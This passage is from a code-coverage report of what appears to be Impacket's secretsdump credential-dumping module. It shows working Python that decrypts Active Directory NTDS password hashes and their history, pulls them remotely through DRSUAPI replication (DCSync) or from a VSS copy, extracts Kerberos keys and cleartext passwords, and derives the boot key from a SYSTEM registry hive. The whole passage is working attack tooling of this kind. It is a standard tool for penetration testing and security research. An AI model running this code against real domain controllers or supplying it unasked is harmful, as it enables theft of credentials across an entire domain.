2138 pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']])

2139 else:

2140 pwdLastSet = 'N/A'

2141

2142 answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))

2143 if self.__pwdLastSet is True: 2143 ↛ 2144line 2143 didn't jump to line 2144, because the condition on line 2143 was never true

2144 answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)

2145 if self.__printUserStatus is True: 2145 ↛ 2146line 2145 didn't jump to line 2146, because the condition on line 2145 was never true

2146 answer = "%s (status=%s)" % (answer, userAccountStatus)

2147

2148 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)

2149

2150 if outputFile is not None: 2150 ↛ 2151line 2150 didn't jump to line 2151, because the condition on line 2150 was never true

2151 self.__writeOutput(outputFile, answer + '\n')

2152

2153 if self.__history: 2153 ↛ 2315line 2153 didn't jump to line 2315, because the condition on line 2153 was never false

2154 LMHistory = []

2155 NTHistory = []

2156 if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:

2157 encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))

2158 tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)

2159 for i in range(0, len(tmpLMHistory) // 16):

2160 LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)

2161 LMHistory.append(LMHash)

2162

2163 if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:

2164 encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))

2165

2166 if encryptedNTHistory['Header'][:4] == b'\x13\x00\x00\x00': 2166 ↛ 2168line 2166 didn't jump to line 2168, because the condition on line 2166 was never true

2167 # Win2016 TP4 decryption is different

2168 encryptedNTHistory = self.CRYPTED_HASHW16(

2169 unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))

2170 pekIndex = hexlify(encryptedNTHistory['Header'])

2171 tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],

2172 encryptedNTHistory['EncryptedHash'],

2173 encryptedNTHistory['KeyMaterial'])

2174 else:

2175 tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)

2176

2177 for i in range(0, len(tmpNTHistory) // 16):

2178 NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)

2179 NTHistory.append(NTHash)

2180

2181 for i, (LMHash, NTHash) in enumerate(

2182 map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):

2183 if self.__noLMHash: 2183 ↛ 2186line 2183 didn't jump to line 2186, because the condition on line 2183 was never false

2184 lmhash = hexlify(ntlm.LMOWFv1('', ''))

2185 else:

2186 lmhash = hexlify(LMHash)

2187

2188 answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'),

2189 hexlify(NTHash).decode('utf-8'))

2190 if outputFile is not None: 2190 ↛ 2191line 2190 didn't jump to line 2191, because the condition on line 2190 was never true

2191 self.__writeOutput(outputFile, answer + '\n')

2192 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)

2193 else:

2194 replyVersion = 'V%d' %record['pdwOutVersion']

2195 LOG.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])

2196 domain = None

2197 if self.__history: 2197 ↛ 2198line 2197 didn't jump to line 2198, because the condition on line 2197 was never true

2198 LMHistory = []

2199 NTHistory = []

2200

2201 rid = unpack('<L', record['pmsgOut'][replyVersion]['pObjects']['Entinf']['pName']['Sid'][-4:])[0]

2202

2203 for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:

2204 try:

2205 attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])

2206 LOOKUP_TABLE = self.ATTRTYP_TO_ATTID

2207 except Exception as e:

2208 LOG.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)

2209 LOG.debug('Exception', exc_info=True)

2210 # Fallbacking to fixed table and hope for the best

2211 attId = attr['attrTyp']

2212 LOOKUP_TABLE = self.NAME_TO_ATTRTYP

2213

2214 if attId == LOOKUP_TABLE['dBCSPwd']:

2215 if attr['AttrVal']['valCount'] > 0: 2215 ↛ 2216line 2215 didn't jump to line 2216, because the condition on line 2215 was never true

2216 encrypteddBCSPwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])

2217 encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)

2218 LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)

2219 else:

2220 LMHash = ntlm.LMOWFv1('', '')

2221 elif attId == LOOKUP_TABLE['unicodePwd']:

2222 if attr['AttrVal']['valCount'] > 0:

2223 encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])

2224 encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)

2225 NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)

2226 else:

2227 NTHash = ntlm.NTOWFv1('', '')

2228 elif attId == LOOKUP_TABLE['userPrincipalName']:

2229 if attr['AttrVal']['valCount'] > 0: 2229 ↛ 2235line 2229 didn't jump to line 2235, because the condition on line 2229 was never false

2230 try:

2231 domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]

2232 except:

2233 domain = None

2234 else:

2235 domain = None

2236 elif attId == LOOKUP_TABLE['sAMAccountName']:

2237 if attr['AttrVal']['valCount'] > 0: 2237 ↛ 2244line 2237 didn't jump to line 2244, because the condition on line 2237 was never false

2238 try:

2239 userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')

2240 except:

2241 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])

2242 userName = 'unknown'

2243 else:

2244 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])

2245 userName = 'unknown'

2246 elif attId == LOOKUP_TABLE['objectSid']:

2247 if attr['AttrVal']['valCount'] > 0: 2247 ↛ 2250line 2247 didn't jump to line 2250, because the condition on line 2247 was never false

2248 objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])

2249 else:

2250 LOG.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])

2251 objectSid = rid

2252 elif attId == LOOKUP_TABLE['pwdLastSet']:

2253 if attr['AttrVal']['valCount'] > 0: 2253 ↛ 2268line 2253 didn't jump to line 2268, because the condition on line 2253 was never false

2254 try:

2255 pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0])

2256 except:

2257 LOG.error('Cannot get pwdLastSet for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])

2258 pwdLastSet = 'N/A'

2259 elif self.__printUserStatus and attId == LOOKUP_TABLE['userAccountControl']: 2259 ↛ 2260line 2259 didn't jump to line 2260, because the condition on line 2259 was never true

2260 if attr['AttrVal']['valCount'] > 0:

2261 if (unpack('<L', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0]) & samr.UF_ACCOUNTDISABLE:

2262 userAccountStatus = 'Disabled'

2263 else:

2264 userAccountStatus = 'Enabled'

2265 else:

2266 userAccountStatus = 'N/A'

2267

2268 if self.__history: 2268 ↛ 2269line 2268 didn't jump to line 2269, because the condition on line 2268 was never true

2269 if attId == LOOKUP_TABLE['lmPwdHistory']:

2270 if attr['AttrVal']['valCount'] > 0:

2271 encryptedLMHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])

2272 tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)

2273 for i in range(0, len(tmpLMHistory) // 16):

2274 LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)

2275 LMHistory.append(LMHashHistory)

2276 else:

2277 LOG.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])

2278 elif attId == LOOKUP_TABLE['ntPwdHistory']:

2279 if attr['AttrVal']['valCount'] > 0:

2280 encryptedNTHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])

2281 tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)

2282 for i in range(0, len(tmpNTHistory) // 16):

2283 NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)

2284 NTHistory.append(NTHashHistory)

2285 else:

2286 LOG.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])

2287

2288 if domain is not None:

2289 userName = '%s\\%s' % (domain, userName)

2290

2291 answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))

2292 if self.__pwdLastSet is True: 2292 ↛ 2293line 2292 didn't jump to line 2293, because the condition on line 2292 was never true

2293 answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)

2294 if self.__printUserStatus is True: 2294 ↛ 2295line 2294 didn't jump to line 2295, because the condition on line 2294 was never true

2295 answer = "%s (status=%s)" % (answer, userAccountStatus)

2296 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)

2297

2298 if outputFile is not None: 2298 ↛ 2299line 2298 didn't jump to line 2299, because the condition on line 2298 was never true

2299 self.__writeOutput(outputFile, answer + '\n')

2300

2301 if self.__history: 2301 ↛ 2302line 2301 didn't jump to line 2302, because the condition on line 2301 was never true

2302 for i, (LMHashHistory, NTHashHistory) in enumerate(

2303 map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):

2304 if self.__noLMHash:

2305 lmhash = hexlify(ntlm.LMOWFv1('', ''))

2306 else:

2307 lmhash = hexlify(LMHashHistory)

2308

2309 answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'),

2310 hexlify(NTHashHistory).decode('utf-8'))

2311 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)

2312 if outputFile is not None:

2313 self.__writeOutput(outputFile, answer + '\n')

2314

2315 if outputFile is not None: 2315 ↛ 2316line 2315 didn't jump to line 2316, because the condition on line 2315 was never true

2316 outputFile.flush()

2317

2318 LOG.debug('Leaving NTDSHashes.__decryptHash')

2319

2320 def dump(self):

2321 hashesOutputFile = None

2322 keysOutputFile = None

2323 clearTextOutputFile = None

2324

2325 if self.__useVSSMethod is True:

2326 if self.__NTDS is None: 2326 ↛ 2328line 2326 didn't jump to line 2328, because the condition on line 2326 was never true

2327 # No NTDS.dit file provided and were asked to use VSS

2328 return

2329 else:

2330 if self.__NTDS is None: 2330 ↛ 2351line 2330 didn't jump to line 2351, because the condition on line 2330 was never false

2331 # DRSUAPI method, checking whether target is a DC

2332 try:

2333 if self.__remoteOps is not None: 2333 ↛ 2345line 2333 didn't jump to line 2345, because the condition on line 2333 was never false

2334 try:

2335 self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])

2336 except:

2337 if os.getenv('KRB5CCNAME') is not None and self.__justUser is not None:

2338 # RemoteOperations failed. That might be because there was no way to log into the

2339 # target system. We just have a last resort. Hope we have tickets cached and that they

2340 # will work

2341 pass

2342 else:

2343 raise

2344 else:

2345 raise Exception('No remote Operations available')

2346 except Exception as e:

2347 LOG.debug('Exiting NTDSHashes.dump() because %s' % e)

2348 # Target's not a DC

2349 return

2350

2351 try:

2352 # Let's check if we need to save results in a file

2353 if self.__outputFileName is not None: 2353 ↛ 2354line 2353 didn't jump to line 2354, because the condition on line 2353 was never true

2354 LOG.debug('Saving output to %s' % self.__outputFileName)

2355 # We have to export. Are we resuming a session?

2356 if self.__resumeSession.hasResumeData():

2357 mode = 'a+'

2358 else:

2359 mode = 'w+'

2360 hashesOutputFile = openFile(self.__outputFileName+'.ntds',mode)

2361 if self.__justNTLM is False:

2362 keysOutputFile = openFile(self.__outputFileName+'.ntds.kerberos',mode)

2363 clearTextOutputFile = openFile(self.__outputFileName+'.ntds.cleartext',mode)

2364

2365 LOG.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')

2366 if self.__useVSSMethod:

2367 # We start getting rows from the table aiming at reaching

2368 # the pekList. If we find users records we stored them

2369 # in a temp list for later process.

2370 self.__getPek()

2371 if self.__PEK is not None: 2371 ↛ 2538line 2371 didn't jump to line 2538, because the condition on line 2371 was never false

2372 LOG.info('Reading and decrypting hashes from %s ' % self.__NTDS)

2373 # First of all, if we have users already cached, let's decrypt their hashes

2374 for record in self.__tmpUsers: 2374 ↛ 2375line 2374 didn't jump to line 2375, because the loop on line 2374 never started

2375 try:

2376 self.__decryptHash(record, outputFile=hashesOutputFile)

2377 if self.__justNTLM is False:

2378 self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)

2379 except Exception as e:

2380 LOG.debug('Exception', exc_info=True)

2381 try:

2382 LOG.error(

2383 "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])

2384 LOG.error(str(e))

2385 pass

2386 except:

2387 LOG.error("Error while processing row!")

2388 LOG.error(str(e))

2389 pass

2390

2391 # Now let's keep moving through the NTDS file and decrypting what we find

2392 while True:

2393 try:

2394 record = self.__ESEDB.getNextRow(self.__cursor)

2395 except:

2396 LOG.error('Error while calling getNextRow(), trying the next one')

2397 continue

2398

2399 if record is None:

2400 break

2401 try:

2402 if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:

2403 self.__decryptHash(record, outputFile=hashesOutputFile)

2404 if self.__justNTLM is False: 2404 ↛ 2393line 2404 didn't jump to line 2393, because the condition on line 2404 was never false

2405 self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)

2406 except Exception as e:

2407 LOG.debug('Exception', exc_info=True)

2408 try:

2409 LOG.error(

2410 "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])

2411 LOG.error(str(e))

2412 pass

2413 except:

2414 LOG.error("Error while processing row!")

2415 LOG.error(str(e))

2416 pass

2417 else:

2418 LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets')

2419 status = STATUS_MORE_ENTRIES

2420 enumerationContext = 0

2421

2422 # Do we have to resume from a previously saved session?

2423 if self.__resumeSession.hasResumeData(): 2423 ↛ 2424line 2423 didn't jump to line 2424, because the condition on line 2423 was never true

2424 resumeSid = self.__resumeSession.getResumeData()

2425 LOG.info('Resuming from SID %s, be patient' % resumeSid)

2426 else:

2427 resumeSid = None

2428 # We do not create a resume file when asking for a single user

2429 if self.__justUser is None:

2430 self.__resumeSession.beginTransaction()

2431

2432 if self.__justUser is not None:

2433 # Depending on the input received, we need to change the formatOffered before calling

2434 # DRSCrackNames.

2435 # There are some instances when you call -just-dc-user and you receive ERROR_DS_NAME_ERROR_NOT_UNIQUE

2436 # That's because we don't specify the domain for the user (and there might be duplicates)

2437 # Always remember that if you specify a domain, you should specify the NetBIOS domain name,

2438 # not the FQDN. Just for this time. It's confusing I know, but that's how this API works.

2439 if self.__justUser.find('\\') >=0 or self.__justUser.find('/') >= 0: 2439 ↛ 2443line 2439 didn't jump to line 2443, because the condition on line 2439 was never false

2440 self.__justUser = self.__justUser.replace('/','\\')

2441 formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME

2442 else:

2443 formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN

2444

2445 crackedName = self.__remoteOps.DRSCrackNames(formatOffered,

2446 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,

2447 name=self.__justUser)

2448

2449 if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: 2449 ↛ 2460line 2449 didn't jump to line 2460, because the condition on line 2449 was never false

2450 if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: 2450 ↛ 2451line 2450 didn't jump to line 2451, because the condition on line 2450 was never true

2451 raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[

2452 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])

2453

2454 userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])

2455 #userRecord.dump()

2456 replyVersion = 'V%d' % userRecord['pdwOutVersion']

2457 if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: 2457 ↛ 2458line 2457 didn't jump to line 2458, because the condition on line 2457 was never true

2458 raise Exception('DRSGetNCChanges didn\'t return any object!')

2459 else:

2460 LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (

2461 crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser))

2462 try:

2463 self.__decryptHash(userRecord,

2464 userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],

2465 hashesOutputFile)

2466 if self.__justNTLM is False: 2466 ↛ 2535line 2466 didn't jump to line 2535, because the condition on line 2466 was never false

2467 self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][

2468 'pPrefixEntry'], keysOutputFile, clearTextOutputFile)

2469

2470 except Exception as e:

2471 LOG.error("Error while processing user!")

2472 LOG.debug("Exception", exc_info=True)

2473 LOG.error(str(e))

2474 else:

2475 while status == STATUS_MORE_ENTRIES:

2476 resp = self.__remoteOps.getDomainUsers(enumerationContext)

2477

2478 for user in resp['Buffer']['Buffer']:

2479 userName = user['Name']

2480

2481 userSid = "%s-%i" % (self.__remoteOps.getDomainSid(), user['RelativeId'])

2482 if resumeSid is not None: 2482 ↛ 2484line 2482 didn't jump to line 2484, because the condition on line 2482 was never true

2483 # Means we're looking for a SID before start processing back again

2484 if resumeSid == userSid:

2485 # Match!, next round we will back processing

2486 LOG.debug('resumeSid %s reached! processing users from now on' % userSid)

2487 resumeSid = None

2488 else:

2489 LOG.debug('Skipping SID %s since it was processed already' % userSid)

2490 continue

2491

2492 # Let's crack the user sid into DS_FQDN_1779_NAME

2493 # In theory I shouldn't need to crack the sid. Instead

2494 # I could use it when calling DRSGetNCChanges inside the DSNAME parameter.

2495 # For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.

2496 crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME,

2497 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,

2498 name=userSid)

2499

2500 if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: 2500 ↛ 2512line 2500 didn't jump to line 2512, because the condition on line 2500 was never false

2501 if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: 2501 ↛ 2502line 2501 didn't jump to line 2502, because the condition on line 2501 was never true

2502 LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[

2503 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])

2504 break

2505 userRecord = self.__remoteOps.DRSGetNCChanges(

2506 crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])

2507 # userRecord.dump()

2508 replyVersion = 'V%d' % userRecord['pdwOutVersion']

2509 if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: 2509 ↛ 2510line 2509 didn't jump to line 2510, because the condition on line 2509 was never true

2510 raise Exception('DRSGetNCChanges didn\'t return any object!')

2511 else:

2512 LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (

2513 crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))

2514 try:

2515 self.__decryptHash(userRecord,

2516 userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],

2517 hashesOutputFile)

2518 if self.__justNTLM is False: 2518 ↛ 2528line 2518 didn't jump to line 2528, because the condition on line 2518 was never false

2519 self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][

2520 'pPrefixEntry'], keysOutputFile, clearTextOutputFile)

2521

2522 except Exception as e:

2523 LOG.error("Error while processing user!")

2524 LOG.debug("Exception", exc_info=True)

2525 LOG.error(str(e))

2526

2527 # Saving the session state

2528 self.__resumeSession.writeResumeData(userSid)

2529

2530 enumerationContext = resp['EnumerationContext']

2531 status = resp['ErrorCode']

2532

2533 # Everything went well and we covered all the users

2534 # Let's remove the resume file is we had created it

2535 if self.__justUser is None:

2536 self.__resumeSession.clearResumeData()

2537

2538 LOG.debug("Finished processing and printing user's hashes, now printing supplemental information")

2539 # Now we'll print the Kerberos keys. So we don't mix things up in the output.

2540 if len(self.__kerberosKeys) > 0: 2540 ↛ 2550line 2540 didn't jump to line 2550, because the condition on line 2540 was never false

2541 if self.__useVSSMethod is True:

2542 LOG.info('Kerberos keys from %s ' % self.__NTDS)

2543 else:

2544 LOG.info('Kerberos keys grabbed')

2545

2546 for itemKey in list(self.__kerberosKeys.keys()):

2547 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_KERBEROS, itemKey)

2548

2549 # And finally the cleartext pwds

2550 if len(self.__clearTextPwds) > 0: 2550 ↛ 2551line 2550 didn't jump to line 2551, because the condition on line 2550 was never true

2551 if self.__useVSSMethod is True:

2552 LOG.info('ClearText password from %s ' % self.__NTDS)

2553 else:

2554 LOG.info('ClearText passwords grabbed')

2555

2556 for itemKey in list(self.__clearTextPwds.keys()):

2557 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_CLEARTEXT, itemKey)

2558 finally:

2559 # Resources cleanup

2560 if hashesOutputFile is not None: 2560 ↛ 2561line 2560 didn't jump to line 2561, because the condition on line 2560 was never true

2561 hashesOutputFile.close()

2562

2563 if keysOutputFile is not None: 2563 ↛ 2564line 2563 didn't jump to line 2564, because the condition on line 2563 was never true

2564 keysOutputFile.close()

2565

2566 if clearTextOutputFile is not None: 2566 ↛ 2567line 2566 didn't jump to line 2567, because the condition on line 2566 was never true

2567 clearTextOutputFile.close()

2568

2569 self.__resumeSession.endTransaction()

2570

2571 @classmethod

2572 def __writeOutput(cls, fd, data):

2573 try:

2574 fd.write(data)

2575 except Exception as e:

2576 LOG.error("Error writing entry, skipping (%s)" % str(e))

2577 pass

2578

2579 def finish(self):

2580 if self.__NTDS is not None:

2581 self.__ESEDB.close()

2582

2583 class LocalOperations:

2584 def __init__(self, systemHive):

2585 self.__systemHive = systemHive

2586

2587 def getBootKey(self):

2588 # Local Version whenever we are given the files directly

2589 bootKey = b''

2590 tmpKey = b''

2591 winreg = winregistry.Registry(self.__systemHive, False)

2592 # We gotta find out the Current Control Set

2593 currentControlSet = winreg.getValue('\\Select\\Current')[1]

2594 currentControlSet = "ControlSet%03d" % currentControlSet

2595 for key in ['JD', 'Skew1', 'GBG', 'Data']:

2596 LOG.debug('Retrieving class info for %s' % key)

2597 ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key))

2598 digit = ans[:16].decode('utf-16le')

2599 tmpKey = tmpKey + b(digit)

2600

2601 transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]

2602

2603 tmpKey = unhexlify(tmpKey)

2604

2605 for i in range(len(tmpKey)):

2606 bootKey += tmpKey[transforms[i]:transforms[i] + 1]

2607

2608 LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey).decode('utf-8'))

2609

2610 return bootKey

2611

2612

2613 def checkNoLMHashPolicy(self):

2614 LOG.debug('Checking NoLMHash Policy')

2615 winreg = winregistry.Registry(self.__systemHive, False)

2616 # We gotta find out the Current Control Set

2617 currentControlSet = winreg.getValue('\\Select\\Current')[1]

2618 currentControlSet = "ControlSet%03d" % currentControlSet

2619

2620 # noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]

2621 noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)

2622 if noLmHash is not None:

2623 noLmHash = noLmHash[1]

2624 else:

2625 noLmHash = 0

2626

2627 if noLmHash != 1:

2628 LOG.debug('LMHashes are being stored')

2629 return False

2630 LOG.debug('LMHashes are NOT being stored')

2631 return True

2632

2633 def _print_helper(*args, **kwargs):

2634 print(args[-1])